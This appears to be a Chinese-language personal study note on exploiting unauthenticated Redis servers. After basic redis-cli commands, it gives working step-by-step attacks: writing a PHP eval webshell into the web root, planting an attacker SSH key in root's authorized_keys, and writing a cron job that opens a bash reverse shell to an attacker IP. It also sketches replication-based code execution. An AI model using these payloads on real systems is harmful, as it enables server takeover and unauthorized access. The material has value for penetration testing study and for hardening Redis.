不是很了解Redis数据库,粗浅学了一下Redis应该是以键值对的方式存储数据的

Redis默认端口:6379

Redis相关操作
连接远程服务器:
redis-cli -h [目标IP] -p [端口] -a [密码] #其中redis-cli为redis远程连接的客户端

set testkey "tt"                   # 设置键tt的值为字符串 
get tt                             # 获取键tt的内容
set id 1                           # 设置键id的值为1
incr id                            # 使用INCR命令将id的值增加1 
get id                             # 获取键id的内容 
keys *                             # 列出当前数据库中所有的键
config set dir /home/test          # 设置工作目录
config set dbfilename redis.rdb    # 设置备份文件名
config get dir                     # 检查工作目录是否设置成功
config get dbfilename              # 检查备份文件名是否设置成功 
save                               # 进行一次备份操作
flushall                           # 删除所有数据
del key                            # 删除键为key的数据

Redis相关漏洞(未授权访问)

一:通过redis远程连接后写入webshell

*phpinfo页面中 CONTEXT_DOCUMENT_ROOT记录网站根目录绝对路径

redis漏洞检查工具 redis漏洞汇总_redis

通过执行如下命令写入一句话木马到网站根目录:

redis-cli -h [目标ip] -p [redis端口]          #连接redis服务器
config set dir /var/www/html                  #设置数据库备份文件的放置路径
config set dbfilename shell.php             #设置备份文件的文件名
set x "<?php @eval($_POST['tt']);?>"   #添加一个键”x”,值为一句话木马
save                                                       #保存

之后尝试用蚁剑连接


二:Redis未授权写SSH公钥获得shell

原理:攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。

1)生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:

ssh-keygen -t rsa

2)将公钥写入tt.txt文件,前后用\n换行,避免和Redis其他缓存数据混合

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/tt.txt

3)将tt.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat /tmp/tt.txt | redis-cli -h [目标ip] -p [redis端口] -x set sshkey

4)连接Redis

redis-cli -h [目标ip] -p [redis端口] 

5)设置备份文件路径

config set dir /root/.ssh/

6)设置上传公钥的备份文件名字为authorized_keys

config set dbfilename "authorized_keys"
save

7)远程连接目标机器

ssh root@[目标ip] -i /root/.ssh/id_rsa

三:写定时任务反弹shell

思路:先在攻击机开启nc监听,再利用redis写定时任务反弹shell

set tt "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/[攻击机IP]/[nc监听的端口] 0>&1\n\n"

#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp//[攻击机IP]/[nc监听的端口] 0>&1

关于Liunx定时任务,可参考菜鸟教程:

Linux crontab 命令 | 菜鸟教程


四:主从复制RCE

主从模式:Redis提供主从模式以解决读写数据量过大的问题。主从模式就是指使用一个 redis实例作为主机,其他实例都作为备份机,其中  主机和从机数据相同,而从机只 负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一  种通过 牺牲空间来换取效率的缓解方式。

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过写C语言并编译出 .so 文件

因题主能力有限,该利用方式主要靠利用github上一些现成的脚本编译生成so扩展文件